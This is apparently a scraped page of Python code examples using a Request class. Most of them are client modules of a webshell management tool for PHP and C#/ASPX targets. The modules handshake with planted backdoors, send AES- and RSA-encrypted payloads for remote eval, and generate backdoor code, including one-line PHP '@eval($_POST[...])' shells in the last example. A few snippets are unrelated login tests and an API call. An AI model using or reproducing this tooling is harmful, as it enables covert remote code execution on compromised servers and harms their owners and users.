Пример #1
0
    def __init__(self):
        super().__init__()

        self.opener = Request()

        self.aes = None  # 用于aes加密传输的aes对象
        self.private_key = None
        self.public_key = None
Пример #2
0
 def __make_request(self):
     if self.__entry.text():
         req = Request("GET", self.__entry.text())
         res = req.get_api()
         if res:
             return self.__set_data(res)
         else:
             return
     else:
         Error('Enter country name')
         self.__data_label.setText("")
Пример #3
0
    def __init__(self):
        super().__init__()
        self.options.add_option(
            'password',
            'You need use this password to connect webshell server.',
            True,
            'c',
            check=r'[\w\-]+')
        self.options.add_option(
            'password_type',
            'Password type like GET, POST or HEADER.If not set, will use POST type to connect server(server must use this type).',
            default='POST',
            check=r'(?i)GET|POST|HEADER')

        self.opener = Request()
Пример #4
0
    def __init__(self):
        super().__init__()

        self.options.add_option(
            'password',
            'You need use this password to connect webshell server.',
            True,
            'c',
            check=r'[\w\-]+')
        self.options.add_option(
            'new_version',
            'Specifies whether the remote webshell is a new version.',
            default=1,
            type=int,
            check=r'0|1')

        self.opener = Request()

        self.aes = None  # 用于aes加密传输的aes对象
Пример #5
0
    def connect(self)-> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        self.opener = Request()
        self._create_key()
        key = self.aes.algorithm.key
        
        pwd = hashlib.sha256(self.options.password.encode()).hexdigest()[:16].encode()
        self._create_key(pwd)
        data = base64.b64encode(self._encrypt(key))
        try:
            with self.opener.post(self.options.target, data, timeout=10) as f:
                ret = f.read()
        except BaseException as e:
            logger.error(e)
            return False
        if ret.strip() != base64.b64encode(key):
            logger.error(f"The accepted number `{ret.decode(self.options.encoding, 'ignore')}` does not match the expected `{base64.b64encode(key).decode()}`")
            return False

        self._create_key(key)
        return True
Пример #6
0
async def test_repeated_login():
    login = generate(20)
    user_old = User(login=login)

    user_old.save()

    request = Request(None, None, generate(), 2, 0)
    data = {
        'user': generate_id(),
        'login': login.upper(),
    }

    res = await handle(request, data)

    assert res.get('id')
    assert res.get('new')

    user_new = User.get(ids=res['id'], fields={'login'})

    assert user_new.login != process_lower(login)
    assert user_new.id != user_old.id
Пример #7
0
async def test_repeated_login():
    login = generate(20)
    user_old = User(login=login, password='******')

    user_old.save()
    assert user_old.id
    assert user_old.login == process_lower(login)

    request = Request(None, None, generate(), 2, 0, SIO())
    data = {
        'login': login.upper(),
        'password': '******',
    }

    res = await handle(request, data)

    assert res.get('id')
    assert res.get('new') == False

    user_new = User.get(ids=res['id'], fields={'login'})

    assert user_new.login == process_lower(login)
    assert user_new.id == user_old.id
Пример #8
0
class webshell(PHPWebshell):
    def __init__(self):
        super().__init__()

        self.opener = Request()

        self.aes = None  # 用于aes加密传输的aes对象
        self.private_key = None
        self.public_key = None

    def _create_and_save_key(self) -> str:
        '''创建并保存一组秘钥,并填充当前的秘钥对象
        '''
        self.private_key = rsa.generate_private_key(public_exponent=65537,
                                                    key_size=1024)
        self.public_key = self.private_key.public_key()
        key = os.urandom(32)
        iv = os.urandom(16)
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

        ID = utils.randomstr(16)
        d = os.path.dirname(__file__)
        if not os.path.exists(os.path.join(d, 'keys')):
            os.mkdir(os.path.join(d, 'keys'))
        while os.path.exists(os.path.join(d, 'keys', ID)):
            ID = utils.randomstr(16)
        with open(os.path.join(d, 'keys', ID), 'wb') as f:
            pri = self.private_key.private_bytes(
                serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8,
                serialization.NoEncryption())
            pub = self.public_key.public_bytes(
                serialization.Encoding.PEM,
                serialization.PublicFormat.SubjectPublicKeyInfo)
            f.write(pri + b'\n')
            f.write(pub)
        return ID

    def _load_key(self, ID: str) -> bool:
        '''从文件中加载数据传输需要的秘钥对象
        '''
        path = os.path.join(os.path.dirname(__file__), 'keys', ID)
        if not os.path.isfile(path):
            return False
        with open(path, 'rb') as f:
            content = f.read()
            self.private_key = serialization.load_pem_private_key(
                content, None)
            self.public_key = serialization.load_pem_public_key(content)

        key = os.urandom(32)
        iv = os.urandom(16)
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))
        if isinstance(self.private_key, rsa.RSAPrivateKey) and isinstance(
                self.public_key, rsa.RSAPublicKey):
            return True
        return False

    def _encrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            enc = self.aes.encryptor()
            padder = pad.PKCS7(128).padder()
            padded_data = padder.update(data) + padder.finalize()
            return enc.update(padded_data) + enc.finalize()
        except Exception as e:
            raise EncryptFailedError(e)

    def _decrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            dec = self.aes.decryptor()
            unpadder = pad.PKCS7(128).unpadder()
            content = dec.update(data) + dec.finalize()
            return unpadder.update(content) + unpadder.finalize()
        except Exception as e:
            raise DecryptFailedError(e)

    def connect(self) -> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        ID = '0'
        try:
            with self.opener.post(self.options.target, timeout=10) as f:
                ID = f.read()
        except BaseException:
            logger.error('Failed to connect to webshell')
            return False

        ID = ID.decode(self.options.encoding, 'ignore')
        if not self._load_key(ID):
            logger.error(f"Failed to load secret key for `{ID}`")
            return False

        iv = self.aes.mode.initialization_vector
        data = {
            utils.randomstr(8):
            base64.b64encode(
                self.public_key.encrypt(self.aes.algorithm.key,
                                        padding.PKCS1v15())).decode(),
            'iv':
            base64.b64encode(iv).decode()
        }
        try:
            with self.opener.post(self.options.target, data, timeout=10) as f:
                ID = f.read()
        except BaseException as e:
            logger.error(e)
            logger.error('Error in key delivery.')
            return False
        if ID != base64.b64encode(iv):
            logger.error(
                f"The accepted number `{ID}` does not match the expected `{base64.b64encode(iv)}`"
            )
            return False
        return True

    @Webshell.handle_evaled
    def eval(self, payload: PHPPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        payload = self._encrypt(payload.code)
        payload = base64.b64encode(payload).decode()
        data = {utils.randomstr(8): payload}
        result = EvalResult()
        try:
            with self.opener.post(self.options.target,
                                  data,
                                  timeout=self.options.timeout) as f:
                data = f.read()
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except Exception as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult) -> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                code = self._to_php_errcode(msg.get('errcode'))
                err = self.EvalError(
                    code,
                    base64.b64decode(msg.get('errmsg').encode()).decode(
                        self.options.encoding, 'ignore'), True
                    if error['code'] == 0 or msg.get('iswarning') else False,
                    True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self) -> bytes:
        '''生成并返回webshell代码'''
        ID = self._create_and_save_key()
        p = PHPPayload('templete.php',
                       ID=ID,
                       pri_key=self.private_key.private_bytes(
                           serialization.Encoding.PEM,
                           serialization.PrivateFormat.PKCS8,
                           serialization.NoEncryption()))
        code = b'<?php\n' + p.code + b'\n?>'
        return code
Пример #9
0
class webshell(CSharpWebshell):
    
    def __init__(self):
        super().__init__()

        self.options.add_option('password', 'You need use this password to connect webshell server.', True, 'c', check=r'[\w\-]+')

        self.opener = None

        self.aes = None # 用于aes加密传输的aes对象

    def _create_key(self, key: bytes=None):
        '''创建秘钥,并填充当前的秘钥对象
        '''
        if key is None:
            key = os.urandom(32)
        iv = key[:16]
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

    def _encrypt(self, data:bytes)-> bytes:
        if not data:
            return b''
        try:
            enc = self.aes.encryptor()
            padder = pad.PKCS7(128).padder()
            padded_data = padder.update(data) + padder.finalize()
            return enc.update(padded_data)+enc.finalize()
        except Exception as e:
            raise EncryptFailedError(e)

    def _decrypt(self, data: bytes)-> bytes:
        if not data:
            return b''
        try:
            dec = self.aes.decryptor()
            unpadder = pad.PKCS7(128).unpadder()
            content = dec.update(data)+dec.finalize()
            return unpadder.update(content)+unpadder.finalize()
        except Exception as e:
            raise DecryptFailedError(e)

    def connect(self)-> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        self.opener = Request()
        self._create_key()
        key = self.aes.algorithm.key
        
        pwd = hashlib.sha256(self.options.password.encode()).hexdigest()[:16].encode()
        self._create_key(pwd)
        data = base64.b64encode(self._encrypt(key))
        try:
            with self.opener.post(self.options.target, data, timeout=10) as f:
                ret = f.read()
        except BaseException as e:
            logger.error(e)
            return False
        if ret.strip() != base64.b64encode(key):
            logger.error(f"The accepted number `{ret.decode(self.options.encoding, 'ignore')}` does not match the expected `{base64.b64encode(key).decode()}`")
            return False

        self._create_key(key)
        return True

    @Webshell.handle_evaled
    def eval(self, payload: CSharpPayload)-> EvalResult:
        '''执行payload并获取返回结果'''
        payload = self._encrypt(payload.code)
        payload = base64.b64encode(payload)
        headers = {}
        if self.options.extra_assemblys:
            headers['Token'] = base64.b64encode(self._encrypt(self._generate_extra_assemblys_string().encode())).decode()
        result = EvalResult()
        try:
            with self.opener.post(self.options.target, payload, timeout=self.options.timeout, headers=headers) as f:
                data = f.read()
                data = base64.b64decode(data)
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError('HttpException', f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}", False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except BaseException as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult)-> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                err = self.EvalError(msg[0], base64.b64decode(msg[1].encode()).decode(self.options.encoding, 'ignore'), 
                    True if error['code'] == 0 or msg[2] else False, True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self)-> bytes:
        '''生成并返回webshell代码'''
        self._create_key()
        code = ''
        path = os.path.join(os.path.dirname(__file__), "templete.aspx")
        with open(path, 'rb') as f:
            code = f.read().decode()
        pwd = hashlib.sha256(self.options.password.encode()).hexdigest()
        code = utils.templete_0(code, pwd=pwd[:16])
        return code.encode()
Пример #10
0
class webshell(CSharpWebshell):
    def __init__(self):
        super().__init__()

        self.options.add_option(
            'password',
            'You need use this password to connect webshell server.',
            True,
            'c',
            check=r'[\w\-]+')
        self.options.add_option(
            'new_version',
            'Specifies whether the remote webshell is a new version.',
            default=1,
            type=int,
            check=r'0|1')

        self.opener = Request()

        self.aes = None  # 用于aes加密传输的aes对象

    def _create_key(self, key: bytes):
        iv = key
        self.aes = Cipher(algorithms.AES(key), modes.CBC(iv))

    def _encrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            enc = self.aes.encryptor()
            padder = pad.PKCS7(128).padder()
            padded_data = padder.update(data) + padder.finalize()
            return enc.update(padded_data) + enc.finalize()
        except Exception as e:
            raise EncryptFailedError(e)

    def _decrypt(self, data: bytes) -> bytes:
        if not data:
            return b''
        try:
            dec = self.aes.decryptor()
            unpadder = pad.PKCS7(128).unpadder()
            content = dec.update(data) + dec.finalize()
            return unpadder.update(content) + unpadder.finalize()
        except Exception as e:
            raise DecryptFailedError(e)

    def connect(self) -> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        if not self.options.new_version:
            data = {'pass': self.options.password}
            try:
                with self.opener.post(self.options.target, data,
                                      timeout=10) as f:
                    ret = f.read()
                    if len(ret) == 16:
                        self._create_key(ret)
                    else:
                        raise Exception("Error response!")
            except BaseException as e:
                logger.error(e)
                return False
        else:
            # 新shell
            h = hashlib.md5()
            h.update(self.options.password.encode())
            self._create_key(h.hexdigest()[:16].encode())
            sign = "gyhnb"
            p = CSharpPayload(os.path.join(os.path.dirname(__file__),
                                           'new_version_test.cs'),
                              sign=sign)
            ret = self.eval(p)
            if not ret.is_success() or ret.data != sign:
                logger.error(
                    f"The expected response is `{sign}`, actually `{ret.data}`"
                )
                return False

        return True

    @Webshell.handle_evaled
    def eval(self, payload: CSharpPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        trans = b''
        with open(
                os.path.join(
                    os.path.dirname(__file__), 'temp.new.dll' if
                    self.options.new_version else 'temp.old.dll'), 'rb') as f:
            trans = f.read()
        payload = trans + b"gyhnb" + payload.code
        payload = self._encrypt(payload)
        headers = {}
        if self.options.extra_assemblys:
            headers['Token'] = base64.b64encode(
                self._encrypt(self._generate_extra_assemblys_string().encode())
            ).decode()
        result = EvalResult()
        try:
            with self.opener.post(self.options.target,
                                  payload,
                                  headers,
                                  timeout=self.options.timeout) as f:
                data = f.read()
                data = base64.b64decode(data)
                data = self._decrypt(data)
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except (EncryptFailedError, DecryptFailedError) as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data[:100]}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except BaseException as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult) -> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                err = self.EvalError(
                    msg[0],
                    base64.b64decode(msg[1].encode()).decode(
                        self.options.encoding, 'ignore'),
                    True if error['code'] == 0 or msg[2] else False, True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self) -> bytes:
        '''生成并返回webshell代码'''
        code = ''
        path = os.path.join(
            os.path.dirname(__file__), "templete.new.aspx"
            if self.options.new_version else "templete.old.aspx")
        with open(path, 'rb') as f:
            code = f.read().decode()
        if self.options.new_version:
            h = hashlib.md5()
            h.update(self.options.password.encode())
            code = utils.templete_0(code, pwd=h.hexdigest()[:16])
        return code.encode()
Пример #11
0
class webshell(PHPWebshell):
    def __init__(self):
        super().__init__()
        self.options.add_option(
            'password',
            'You need use this password to connect webshell server.',
            True,
            'c',
            check=r'[\w\-]+')
        self.options.add_option(
            'password_type',
            'Password type like GET, POST or HEADER.If not set, will use POST type to connect server(server must use this type).',
            default='POST',
            check=r'(?i)GET|POST|HEADER')

        self.opener = Request()

    def connect(self) -> bool:
        '''connect target and return True, or False if connect failed. 
        '''
        num = random.randint(10000, 9999999999999)
        p = PHPPayload()
        p.from_string(f'echo {num};')
        recv = self.eval(p)
        if not recv.is_success():
            logger.error("Connect error!")
            return False
        if recv.data != str(num):
            print(f'\nRecv: {recv.data}\nExpect: {num}')
            logger.error('Server reply a incorrect answer!')
            return False
        return True

    @Webshell.handle_evaled
    def eval(self, payload: PHPPayload) -> EvalResult:
        '''执行payload并获取返回结果'''
        password_type = self.options.password_type.upper()
        payload_param_name = utils.randomstr(8)

        payload = base64.b64encode(payload.code).decode()
        trans_payload = PHPPayload(
            'transfer.php',
            payload_param_name=payload_param_name).code.decode()

        data = {payload_param_name: payload}
        headers = {}
        query = {}
        if password_type == 'POST':
            data[self.options.password] = trans_payload
        elif password_type == 'GET':
            query[self.options.password] = trans_payload
        elif password_type == 'HEADER':
            trans_payload = trans_payload.replace('\r',
                                                  '').replace('\n',
                                                              '')  # 头部传输时消除换行
            headers.update({self.options.password: trans_payload})

        result = EvalResult()
        try:
            with self.opener.reuqest(self.options.target,
                                     data=data,
                                     headers=headers,
                                     params=query,
                                     timeout=self.options.timeout) as f:
                data = f.read()
                data = json.loads(data)
                if not self._error_handler(data, result):
                    return result
                data = base64.b64decode(data['data'].encode()).decode(
                    self.options.encoding, 'ignore')
                result.data = data
                return result
        except json.JSONDecodeError as e:
            err = self.EvalError(e.__class__.__name__, e.msg, False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)
                print(f"Error data: {data}")
        except HttpException as e:
            err = self.EvalError(
                'HttpException',
                f"{e.msg};Response: {e.response.read().decode(self.options.encoding, 'ignore')}",
                False, False)
            result.add_error_info(err)
            if self.options.verbose > 1:
                logger.error(err)
        except Exception as e:
            err = self.EvalError(e.__class__.__name__, str(e), False, False)
            result.add_error_info(err)
            if self.options.verbose > 0:
                logger.error(err)

        return result

    def _error_handler(self, error: dict, result: EvalResult) -> bool:
        '''处理webshell返回的错误信息
        '''
        if error['code'] != 1:
            for msg in error['msg']:
                code = self._to_php_errcode(msg.get('errcode'))
                err = self.EvalError(
                    code,
                    base64.b64decode(msg.get('errmsg').encode()).decode(
                        self.options.encoding, 'ignore'), True
                    if error['code'] == 0 or msg.get('iswarning') else False,
                    True)
                result.add_error_info(err)
                if err.iswarning and self.options.verbose > 1:
                    logger.warning(err)
                elif not err.iswarning and self.options.verbose > 0:
                    logger.error(err)
            if error['code'] == -1:
                return False
        return True

    def generate(self) -> bytes:
        '''生成并返回webshell代码'''
        if self.options.password_type.upper() == 'HEADER':
            return f"<?php @eval($_SERVER['{self.options.password}']);?>".encode(
            )
        elif self.options.password_type.upper() == 'GET':
            return f"<?php @eval($_GET['{self.options.password}']);?>".encode()
        else:
            return f"<?php @eval($_POST['{self.options.password}']);?>".encode(
            )